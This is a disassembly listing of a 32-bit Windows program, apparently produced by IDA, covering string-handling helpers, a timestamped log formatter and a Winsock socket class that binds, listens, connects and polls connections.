		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5FADE9
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FADE9
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5FADE9
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FADE9
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DAC
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
